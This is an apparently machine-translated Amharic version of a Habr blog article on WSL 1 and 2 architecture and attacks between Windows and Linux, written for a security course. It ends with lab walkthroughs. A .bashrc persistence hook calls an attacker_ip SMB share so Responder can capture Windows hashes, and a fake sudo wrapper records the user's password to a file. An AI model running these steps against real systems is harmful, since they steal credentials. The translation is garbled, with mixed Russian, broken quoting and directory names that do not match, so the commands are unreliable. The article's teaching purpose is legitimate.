የ WSL ሙከራዎች. ክፍል 1

ሰላም ሀብር! OTUS በጥቅምት ወር አዲስ የኮርስ ዥረት ይጀምራል "ሊኑክስ ደህንነት". የትምህርቱን አጀማመር በመጠባበቅ፣ ከመምህራኖቻችን በአንዱ አሌክሳንደር ኮሌስኒኮቭ የተጻፈውን ጽሁፍ እናካፍላችኋለን።

የ WSL ሙከራዎች. ክፍል 1

እ.ኤ.አ. በ 2016 ማይክሮሶፍት አዲሱን የ WSL ቴክኖሎጂ ለ IT ማህበረሰብ አስተዋወቀ (Wመስኖዎች Subsystem ለ Linux) ፣ ይህም ለወደፊቱ በሁለቱም ተራ እና በላቁ የስርዓተ ክወና ተጠቃሚዎች ዘንድ ተወዳጅነትን ለማግኘት ሲታገሉ የነበሩትን ከዚህ ቀደም ሊታረቁ የማይችሉ ተወዳዳሪዎችን አንድ ለማድረግ አስችሏል-ዊንዶውስ እና ሊኑክስ። ይህ ቴክኖሎጂ ሊኑክስን ማስኬድ ሳያስፈልገው በዊንዶውስ አካባቢ ውስጥ የሊኑክስ ኦኤስ መሳሪያዎችን መጠቀም አስችሏል ለምሳሌ Multi-bootን በመጠቀም። Habr ላይ WSL ን የመጠቀም ጥቅሞችን የሚገልጹ ብዙ ቁጥር ያላቸውን ጽሑፎች ማግኘት ይችላሉ። ሆኖም ግን, በሚያሳዝን ሁኔታ, ይህ ጽሑፍ በተፈጠረበት ጊዜ, በዚህ ምንጭ ላይ እንደዚህ ያለ ሲምባዮሲስ ኦፕሬቲንግ ሲስተሞች ደህንነት ላይ የተደረጉ ጥናቶች አልተገኙም. ይህ ልጥፍ ይህንን ለማስተካከል ሙከራ ይሆናል። ጽሑፉ ስለ WSL 1 እና 2 ስነ-ህንፃዎች ባህሪያት ይናገራል እና እነዚህን ቴክኖሎጂዎች በመጠቀም በስርዓቶች ላይ በርካታ ጥቃቶችን ምሳሌዎችን ይመረምራል. ጽሑፉ በ 2 ክፍሎች የተከፈለ ነው. የመጀመሪያው ከሊኑክስ እና ዊንዶውስ ዋናውን የንድፈ ሃሳባዊ ጥቃት ዘዴዎችን ያቀርባል. ሁለተኛው ጽሑፍ የሙከራ አካባቢን ማዘጋጀት እና ጥቃቶቹን እንደገና ማባዛትን ያካትታል.

WSL 1: የስነ-ህንፃ ባህሪያት

ወደ WSL የደህንነት ጉዳዮች በጣም ትክክለኛ ለመጥለቅ ከስር ስርዓቱ ትግበራ ጋር የተያያዙ ዋና ዋና ነገሮችን መወሰን ያስፈልጋል። በWSL ከተፈቱት ዋና የተጠቃሚ ተግባራት አንዱ ዊንዶውስ ኦኤስን በሚያሄድ አስተናጋጅ ላይ በሊኑክስ ተርሚናል በኩል የመስራት ችሎታ ነው። እንዲሁም፣ የቀረበው ተኳኋኝነት በጣም ቤተኛ ስለነበር ሊኑክስ ፈጻሚዎች (ELFs) በዊንዶውስ ሲስተም ላይ በቀጥታ ሊሰሩ ይችላሉ። እነዚህን ግቦች ለማሳካት የተወሰኑ የስርዓት ጥሪዎችን በመጠቀም የሊኑክስ አፕሊኬሽኖችን እንዲያሄዱ የሚያስችል ልዩ ንዑስ ስርዓት በዊንዶውስ 10 ተፈጥሯል - ስለሆነም በዊንዶው ላይ የሊኑክስ ሲስካልስ ስብስብን ለመቅረጽ ሙከራ ተደርጓል። ይህ አዲስ አሽከርካሪዎች እና አዲስ የሂደት ቅርጸት በመጨመር በአካል ተተግብሯል. አርክቴክቸር በእይታ ይህን ይመስላል።

የ WSL ሙከራዎች. ክፍል 1

በእውነቱ ፣ ከሊኑክስ ኦፕሬቲንግ ሲስተም ጋር መስተጋብር የተደራጀው በበርካታ የከርነል ሞጁሎች እና ልዩ የሂደት ዓይነት - ፒኮ ነው። ከላይ ካለው ሥዕላዊ መግለጫ በአስተናጋጁ ላይ በሊኑክስ ምሳሌ ላይ የሚሠራው ሂደት ቤተኛ መሆን እንዳለበት እና እንደ መደበኛ የዊንዶውስ አፕሊኬሽኖች ተመሳሳይ ሀብቶችን መጠቀም እንዳለበት ማየት ይችላሉ ። ግን ይህንን እንዴት ማግኘት ይቻላል? በፕሮጀክት ውስጥ ስካይፕሬጅ የሌላ ስርዓተ ክወና መተግበሪያን ለማስኬድ ሁሉንም የስርዓተ ክወናው አስፈላጊ ክፍሎች (እንደ ስሪቱ ላይ በመመስረት) ለዊንዶውስ የሂደት ጽንሰ-ሀሳቦች ተዘጋጅተዋል።

የታቀደው አብስትራክት የሌላ ስርዓተ ክወና ሂደት ይጀምራል ተብሎ በሚጠበቀው ኦፕሬቲንግ ሲስተም (በተለይ ዊንዶውስ) ላይ እንዳያተኩር እንዳደረገ እና አጠቃላይ አቀራረብን እንደሚጠቁም ልብ ይበሉ።

ስለዚህ በፒኮ ሂደት ውስጥ ያለ ማንኛውም መተግበሪያ የዊንዶውስ ከርነልን ከግምት ውስጥ ሳያስገባ ሊሄድ ይችላል-

  1. የስርዓት ጥሪዎች የተኳሃኝነት እና የትርጉም ችግሮች በልዩ አቅራቢዎች መፈታት አለባቸው;
  2. የመዳረሻ ቁጥጥር በሴኩሪቲ ሞኒተር በኩል መደረግ አለበት። ተቆጣጣሪው በከርነል ውስጥ ይገኛል እና ስለዚህ ዊንዶውስ ለእንደዚህ አይነት ሂደቶች እንደ አቅራቢ ሆኖ ሊያገለግል በሚችል አዲስ ሾፌር መልክ ማሻሻል ይፈልጋል። የፒኮ ፕሮቶታይፕ ሂደት በእቅድ ቀርቧል፡-

የ WSL ሙከራዎች. ክፍል 1

የሊኑክስ ፋይል ስርዓት ኬዝ-sensitive ፋይል እና የማውጫ ስሞችን ስለሚጠቀም፣ ከ WSL - VolFS እና DriveFS ጋር ለመስራት 2 አይነት የፋይል ስርዓቶች ወደ ዊንዶውስ ተጨምረዋል። VolFS የሊኑክስ ፋይል ስርዓት ትግበራ ነው ፣ DriveFS በዊንዶውስ ህጎች መሠረት የሚሰራ የፋይል ስርዓት ነው ፣ ግን የጉዳይ ስሜትን የመምረጥ ችሎታ አለው።

WSL 2

WSL 1 ከፍተኛውን የተግባር ክልል ለመፍታት ጥቅም ላይ እንዲውል የማይፈቅዱ በርካታ ገደቦች ነበሩት-ለምሳሌ ፣ 32-ቢት የሊኑክስ አፕሊኬሽኖችን የማሄድ ችሎታ አልነበረውም ፣ እና የመሣሪያ ነጂዎችን ለመጠቀም የማይቻል ነበር። ስለዚህ ፣ በ 2020 ፣ WSL 2 ተለቀቀ ፣ ይህም ንዑስ ስርዓቱን የመገንባት አካሄድ ለውጦታል። WSL 2 ከ WSL 1 የንብረት ፍጆታ ባህሪያት ጋር የሚዛመድ የተመቻቸ ቨርቹዋል ማሽን ነው። አሁን, በዊንዶውስ ኦኤስ ተጠቃሚው በተፈቱት ችግሮች ላይ በመመስረት አስፈላጊውን የሊኑክስ ንዑስ ስርዓት ስሪት መምረጥ ይችላሉ. ሊከሰቱ የሚችሉ ተጋላጭነቶችን ለመቅረፍ WSL 2 በዊንዶውስ 10 ውስጥ በሃይፐር-ቪ ላይ ተመስርቶ ተተግብሯል በዚህ ቅጽ ዊንዶውስ የሊኑክስ ኦፐሬቲንግ ሲስተም ኮርነልን በተናጥል የማሄድ ችሎታ አለው። የWSL ስሪት 1 በዚህ አካባቢ የዊንዶውስ ልማት አቅጣጫን ያሳያል ተብሎ እንደ ቅድመ-ይሁንታ ባህሪ መተዋወቁን ማስታወስ ጠቃሚ ነው ፣ ስለሆነም ወደ Hyper-V የሚደረግ ሽግግር የማይቀር ነበር። የመጨረሻው ሥነ ሕንፃ ይህንን ይመስላል

የ WSL ሙከራዎች. ክፍል 1

በዚህ ስሪት ውስጥ የዊንዶውስ እና ሊነክስ ኮርነሎች የራሳቸው ሀብቶች አሏቸው እና መገናኛው በፋይል ስርዓቱ ውስጥ ብቻ ነው, ነገር ግን ይህ መስቀለኛ መንገድ አልተጠናቀቀም. በፋይል ስርዓቶች መካከል ያለው መስተጋብር የሚከናወነው የ 9 ፒ ፕሮቶኮልን በመጠቀም በሚሰራ የደንበኛ አገልጋይ መጠቅለያ በኩል ነው.

ዛሬ ማይክሮሶፍት በ WSL 1 እና WSL 2 መካከል የመቀያየር ችሎታን ይሰጣል። ሁለቱም ስሪቶች ለአገልግሎት ዝግጁ ናቸው።

WSL ደህንነት

በአሁኑ ጊዜ በንዑስ ስርዓቶች መካከል ያለውን ግንኙነት ለማጥቃት ህጋዊ የስርዓተ ክወና መሳሪያዎችን ለመጠቀም አንዳንድ አቀራረቦችን የሚገልጹ በርካታ ስራዎች አሉ። ጽሑፎቻቸውን ስንጽፍ የጥቃቶቹን አስፈላጊነት ለማረጋገጥ እንጠቀማለን። አጠቃላይ የጥቃቶች እና ሁኔታዎች ዝርዝር፡-

1. የፋይል ስርዓት አተገባበር፡ የመዳረሻ መብቶች፣ የጋራ ማውጫዎች/የመረጃ ልውውጥ ዘዴዎች መገኘት።

ከ የመዳረሻ ደንቦችን መጣስ ለመወሰን ጥናት ተካሂዷል ሊኑክስ ኤፍኤስ - ዊንዶውስ ኤፍኤስ ፣ ዊንዶውስ ኤፍኤስ - ሊኑክስ ኤፍኤስ. ጥናት በዒላማው OS ውስጥ የተሰጠውን ፋይል የመቀየር ችሎታ አሳይቷል። እንዲሁም የፋይል ሲስተሞችን ለመተካት፣ ብዜቶችን ለመፍጠር እና በከፊል ለመሰረዝ ሙከራ ተደርጓል።

ስክሪፕት፡

  • A. ጥቃት ከዊንዶውስ ኦፐሬቲንግ ሲስተም - ፋይሎችን ከሊኑክስ ኦኤስ / ወዘተ ማውጫ መቀየር.
  • ለ. ጥቃት ከሊኑክስ ኦፐሬቲንግ ሲስተም - በማውጫዎች ውስጥ ያሉ ፋይሎችን ማስተካከል: C:Windows, C:Program Files, C:Users<User>

2. የአውታረ መረብ ቁልል ትግበራ.

ጥናቱ የተካሄደው በዊንዶው ላይ ከሊኑክስ ኦፕሬቲንግ ሲስተም የሚመጡ ጥቃቶችን ምሳሌዎችን በመጠቀም ነው። የአውታረ መረብ ቁልል ባህሪያት በተለያዩ ሀብቶች ላይ የማረጋገጫ ዘዴዎች ጥቅም ላይ ውለዋል.

ስክሪፕት፡

  • በዊንዶውስ ሲስተም ውስጥ የተያዘውን ወደብ መዳረሻን መክፈት
  • ያለ ተገቢ መብቶች ወደብ መክፈት
  • በዊንዶውስ ኦፐሬቲንግ ሲስተም ላይ የኤልፍ ፋይልን በመጠቀም የተገላቢጦሽ ሼል በማሄድ ላይ።

3. የWSL ንዑስ ስርዓትን በመጠቀም ተንኮል-አዘል ሶፍትዌር ሂደቶችን መጀመሩን መደበቅ።

ጥናቱ በቀላል እውነታ ላይ የተመሰረተ ነው - የደህንነት ንዑስ ስርዓቶች በ WSL ጉዳይ ህጋዊ አቅራቢን ከኦፕሬቲንግ ሲስተሙ በሚሰራው ሌላ ከርነል ውስጥ ያሉ ክስተቶችን ሊጠለፉ አይችሉም 1. በ WSL 2 ላይ የተከሰቱ ክስተቶችን ለማየት ምንም መንገድ የለም በቀላል ክብደት ምናባዊ ማሽን ውስጥ በተለየ ከርነል ውስጥ።

ስክሪፕት፡

1) ወደ ስርዓቱ የርቀት መዳረሻ መተግበሪያን ያስጀምሩ እና የተመዘገቡትን ክስተቶች ይመልከቱ።

የWSL 1 ሙከራዎች፡ hash interception (Windows)

በመጨረሻ ወደ ተግባራዊ ክፍል ደርሰናል። በመጀመሪያ, የሙከራ አካባቢን ማዘጋጀት ያስፈልግዎታል. ሁሉም ሙከራዎች ዊንዶውስ 10 2004 በተጫነ አግዳሚ ወንበር ላይ ይከናወናሉ ። የኡቡንቱ 18.04 ምስል ለ WSL የስርዓተ ክወና ምስል ሆኖ ተመርጧል። ምስሉ በዘፈቀደ ተመርጧል, እና ማንኛውም ሌላ ተመሳሳይ ይሰራል. ማቆሚያ ለማቀናበር ትዕዛዞች

መጀመሪያ ማስጀመር አለብህ powershell.exe እንደ አስተዳዳሪ።

ለ WSL 1 ትእዛዞቹን ማስኬድ ያስፈልግዎታል

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • መቆሚያውን እንደገና ካስጀመሩ በኋላ የ bash ትዕዛዝን መደወል ይችላሉ. ሁሉም ነገር በትክክል ከሰራ ፣ በዊንዶው ኮንሶል ውስጥ ከዚህ ጋር የሚመሳሰል ውፅዓት ያያሉ-

    የ WSL ሙከራዎች. ክፍል 1

    የካሊ ሊኑክስ ስርጭትን እንደ አጥቂ ማሽን እንጠቀማለን፤ ሁሉም ማሽኖች በአንድ የአካባቢ አውታረ መረብ ላይ መሆን አለባቸው።

    በዊንዶውስ ማሽን ላይ የ WSL ን የማግኘት መብት የሌለው መዳረሻ እንዳለን እናስብ። ከሊኑክስ ትዕዛዝ በመደወል የሊኑክስ ኦፕሬቲንግ ሲስተምን ለማጥቃት እንሞክር። ጥቃቱን ተግባራዊ ለማድረግ ቀለል ያለ አውቶማቲክ ቴክኒኮችን እንጠቀማለን - በሊኑክስ አከባቢ ውስጥ ለአፈፃፀም የእኛ ስክሪፕት እንጨምራለን ። ይህንን ለማድረግ ፋይሉን መለወጥ ያስፈልግዎታል .bashrc.

    WSL ባለው ማሽን ላይ:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    በካሊ ሊኑክስ ማሽን ላይ እንሰራለን-

    1. Responder -I eth0 -rdvw

    በዊንዶውስ ማሽን ላይ ባሽ እንጀምር።

    ውጤቱን በካሊ ሊኑክስ ማሽን ላይ እየጠበቅን ነው-

    የ WSL ሙከራዎች. ክፍል 1

    ስለዚህ, በሊኑክስ ሲስተም ላይ ትዕዛዙን በመፈጸም የዊንዶውስ ተጠቃሚን hashes በ WSL ንኡስ ስርዓት በኩል አግኝተናል.

    WSL 1 ሙከራዎች፡ የተጠቃሚ ይለፍ ቃል ማግኘት (ሊኑክስ ኦኤስ)

    አንድ ተጨማሪ ሙከራ እናድርግ። በዚህ ቼክ ወደ ፋይሉ እንጨምራለን .bashrc የሊኑክስ ኦፐሬቲንግ ሲስተም የተጠቃሚ ይለፍ ቃል ለማግኘት ብዙ ትዕዛዞች።

    ባሽ እንጀምርና ትእዛዞቹን እናስገባ፡-

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    ጥቃቱን በተሳካ ሁኔታ ለማጠናቀቅ ተጠቃሚው ሳም በሊኑክስ ተርሚናል ውስጥ ሱዶን መጥራት አለበት። ከዚህ በኋላ የሊኑክስ ኦኤስ ተጠቃሚ ይለፍ ቃል በፋይሉ ውስጥ ይሆናል። pass.txt:

    የ WSL ሙከራዎች. ክፍል 1

    የጥቃቶቹ አተገባበር የተሰጠው ለቲዎሬቲክ መረጃ ብቻ ነው።

    የአንቀጹ ቀጣይ ክፍል የ 9P ፕሮቶኮልን አፈፃፀም ይገልፃል ፣ ለዚህ ​​ፕሮቶኮል ስካነር መፈጠሩን ያስቡ እና እሱን በመጠቀም ጥቃት ያደርሳሉ።

    ያገለገሉ ጽሑፎች ዝርዝር

    የ WSL ሙከራዎች. ክፍል 1

    ተጨማሪ ያንብቡ

    ምንጭ: hab.com

    አስተያየት ያክሉ